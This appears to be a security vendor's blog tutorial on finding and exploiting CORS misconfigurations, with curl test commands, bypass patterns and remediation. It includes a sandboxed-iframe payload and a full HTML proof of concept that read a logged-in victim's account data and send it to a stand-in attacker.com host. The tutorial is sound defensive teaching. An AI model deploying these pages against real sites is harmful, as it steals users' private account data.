CORS Misconfiguration Testing: Finding and Exploiting Cross-Origin Vulnerabilities

Cross-Origin Resource Sharing (CORS) is the mechanism that lets browsers make cross-origin requests — fetch data from a different domain, port, or scheme than the page making the request. When the server-side CORS policy is misconfigured, an attacker-controlled page can silently make authenticated requests on behalf of a logged-in victim and read the response. That's a data theft primitive that requires zero user interaction beyond visiting a malicious site.

CORS misconfigurations are extremely common. The Same-Origin Policy is restrictive by default, so developers relax it — and the relaxations are frequently too broad.

How CORS Works (The Part That Goes Wrong)

When a browser makes a cross-origin request, it adds an Origin header. The server responds with Access-Control-Allow-Origin, optionally Access-Control-Allow-Credentials: true, and other directives. If the browser sees an Access-Control-Allow-Origin that matches the requesting origin (or a wildcard *), it allows the response to be read by JavaScript.

The critical combination is: Access-Control-Allow-Origin reflects the attacker's origin AND Access-Control-Allow-Credentials is true. With both, the attacker's page can make credentialed requests (carrying session cookies) and read the response — including sensitive account data, API tokens, or session state.

CORS Misconfiguration Patterns

1. Reflected Origin

The most exploitable pattern. The server takes the Origin header from the request and echoes it back as Access-Control-Allow-Origin.

# Request
GET /api/account HTTP/1.1
Host: target.com
Origin: https://attacker.com
Cookie: session=abc123

# Vulnerable response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
{"email":"user@target.com","balance":5000}

The server intends to allow its own subdomains or partner sites but simply reflects whatever origin it receives. An attacker can read any credentialed response.

2. Null Origin Trust

Some servers whitelist null as an allowed origin — sometimes a leftover from testing or an attempt to allow file:// requests. The null origin can be triggered from sandboxed iframes:

<!-- Attacker page -->
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,
<script>
var req = new XMLHttpRequest();
req.onload = function() { location='https://attacker.com/steal?data='+this.responseText; };
req.open('GET','https://target.com/api/account',true);
req.withCredentials = true;
req.send();
</script>"></iframe>

The sandboxed iframe sends Origin: null. If the server responds with Access-Control-Allow-Origin: null and Access-Control-Allow-Credentials: true, data is exfiltrated.

3. Wildcard With Credentials

Using Access-Control-Allow-Origin: * without credentials is legitimate. But some frameworks allow combining wildcard with Access-Control-Allow-Credentials: true through misconfiguration — modern browsers block this, but older browsers or non-browser clients may not.

More common: the wildcard on one endpoint combined with credential-carrying code on the client side creates developer confusion about what is actually protected.

4. Subdomain Trust With Subdomain Takeover

A server allows *.target.com origins. If any subdomain of target.com can be taken over (dangling DNS, abandoned S3 bucket, expired Heroku app), the attacker can use that subdomain as the origin and read authenticated responses from the main application.

# Target CORS policy: allow *.target.com
# Attacker takes over old.target.com (dangling subdomain)

# Exploit from old.target.com:
var req = new XMLHttpRequest();
req.open('GET', 'https://target.com/api/account', true);
req.withCredentials = true;
req.onload = function() { exfiltrate(this.responseText); };
req.send();

5. Origin Validation Bypass via Partial Match

Developers often implement origin validation with string matching that can be bypassed:

# Intended: allow target.com
# Vulnerable implementation: check if origin ends with "target.com"
# Bypass: use origin like "attackertarget.com"

# Or: check if origin starts with "https://target.com"
# Bypass: use "https://target.com.attacker.com"

# Or: regex with unescaped dot
# Pattern: /https:\/\/target.com/
# Bypass: "https://targetXcom.attacker.com"

Testing Methodology

Step 1: Baseline — What Does the Application Return?

First, make requests without an Origin header and observe which endpoints return sensitive data. These are the ones worth targeting with CORS tests.

curl -s https://target.com/api/account -H "Cookie: session=..." | jq .

Step 2: Test Origin Reflection

Send requests with a crafted Origin and check if it's reflected in the response:

# Test 1: Arbitrary origin reflection
curl -s -v https://target.com/api/account \
  -H "Origin: https://attacker.com" \
  -H "Cookie: session=..." 2>&1 | grep -i "access-control"

# Test 2: Null origin
curl -s -v https://target.com/api/account \
  -H "Origin: null" \
  -H "Cookie: session=..." 2>&1 | grep -i "access-control"

# Test 3: Subdomain variation
curl -s -v https://target.com/api/account \
  -H "Origin: https://evil.target.com" \
  -H "Cookie: session=..." 2>&1 | grep -i "access-control"

# Test 4: Partial match bypass
curl -s -v https://target.com/api/account \
  -H "Origin: https://target.com.attacker.com" \
  -H "Cookie: session=..." 2>&1 | grep -i "access-control"

Step 3: Confirm Exploitability

A reflected origin alone isn't exploitable without Access-Control-Allow-Credentials: true. Check both headers together:

curl -s -v https://target.com/api/account \
  -H "Origin: https://attacker.com" \
  -H "Cookie: session=abc123" 2>&1 | grep -iE "(access-control|HTTP/)"

Vulnerable response looks like:

HTTP/2 200
access-control-allow-origin: https://attacker.com
access-control-allow-credentials: true

Step 4: Test Preflight Handling

For non-simple requests (PUT, DELETE, custom headers), the browser sends a preflight OPTIONS request. Test whether the preflight is also vulnerable:

curl -s -v -X OPTIONS https://target.com/api/account \
  -H "Origin: https://attacker.com" \
  -H "Access-Control-Request-Method: DELETE" \
  -H "Access-Control-Request-Headers: X-Custom-Header" 2>&1 | grep -i "access-control"

Step 5: Automated Scanning With Nuclei

# Use nuclei CORS templates
nuclei -u https://target.com -t ~/nuclei-templates/vulnerabilities/cors/ -H "Cookie: session=..."

# Or corsy for dedicated CORS testing
python3 corsy.py -u https://target.com/api/ --headers "Cookie: session=..."

Building a Proof of Concept

When you confirm reflected origin + credentials, a working PoC demonstrates real impact. Host this on a domain you control:

<!DOCTYPE html>
<html>
<body>
<script>
// CORS misconfiguration PoC
// Victim must be logged in to target.com when they visit this page
var target = 'https://target.com/api/account';
var exfil = 'https://attacker.com/collect';

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState === 4) {
        // Send stolen data to attacker
        var img = new Image();
        img.src = exfil + '?data=' + encodeURIComponent(xhr.responseText);
    }
};
xhr.open('GET', target, true);
xhr.withCredentials = true;
xhr.send();
</script>
</body>
</html>

The PoC proves that a logged-in victim who visits your page will have their account data sent to your server. This turns the CORS misconfiguration into a concrete data theft scenario.

High-Value Endpoints to Test

Endpoint Type Why It Matters
Account / profile data PII, email address, phone number
API tokens / keys Secondary credential theft
Payment / billing info Last 4 digits, billing address, subscription tier
Session / auth endpoints CSRF token, session metadata
Admin APIs User lists, configuration, privilege escalation
Internal tools Often less strict CORS enforcement on internal dashboards

Remediation

Correct Origin Whitelisting

# Python (Django example)
CORS_ALLOWED_ORIGINS = [
    "https://app.target.com",
    "https://www.target.com",
]
# Never use CORS_ORIGIN_ALLOW_ALL = True with CORS_ALLOW_CREDENTIALS = True

# Node.js (Express with cors package)
const corsOptions = {
    origin: function(origin, callback) {
        const allowed = ['https://app.target.com', 'https://www.target.com'];
        if (!origin || allowed.indexOf(origin) !== -1) {
            callback(null, true);
        } else {
            callback(new Error('Not allowed by CORS'));
        }
    },
    credentials: true,
};
app.use(cors(corsOptions));

Never Reflect the Origin Header

Never do this:

# Vulnerable — reflects whatever origin the client sends
Access-Control-Allow-Origin: {request.headers.origin}
Access-Control-Allow-Credentials: true

Always validate against a whitelist first. If the origin is not in the list, return no Access-Control-Allow-Origin header (or a fixed safe value).

Separate Public and Credentialed APIs

If an endpoint returns non-sensitive public data and needs broad access, Access-Control-Allow-Origin: * is fine — but only if that endpoint never returns user-specific data and credentials are not required. Keep authenticated endpoints on strict origin whitelists.

Don't Trust the Null Origin

Never whitelist null in production. If you need to test locally, use a proper local domain with a matching whitelist entry.

CORS Testing Quick-Reference

Test Origin Sent Confirms If
Arbitrary reflection https://attacker.com Any origin trusted + ACAO reflects it
Null origin null ACAO: null + ACAC: true
Subdomain https://evil.target.com Wildcard subdomain policy
Prefix bypass https://target.com.evil.com Weak startsWith() check
Suffix bypass https://eviltarget.com Weak endsWith() check
HTTP downgrade http://target.com Scheme not validated
Port variation https://target.com:8080 Port not validated

Ironimo automatically tests CORS policies across your application's API endpoints — checking for reflected origins, null origin trust, subdomain wildcard issues, and credential mismatches using the same techniques professional pentesters use.

Scans run on demand or on a schedule. Results include the exact request/response that triggered the finding and a remediation recommendation.

Start free scan
← Back to blog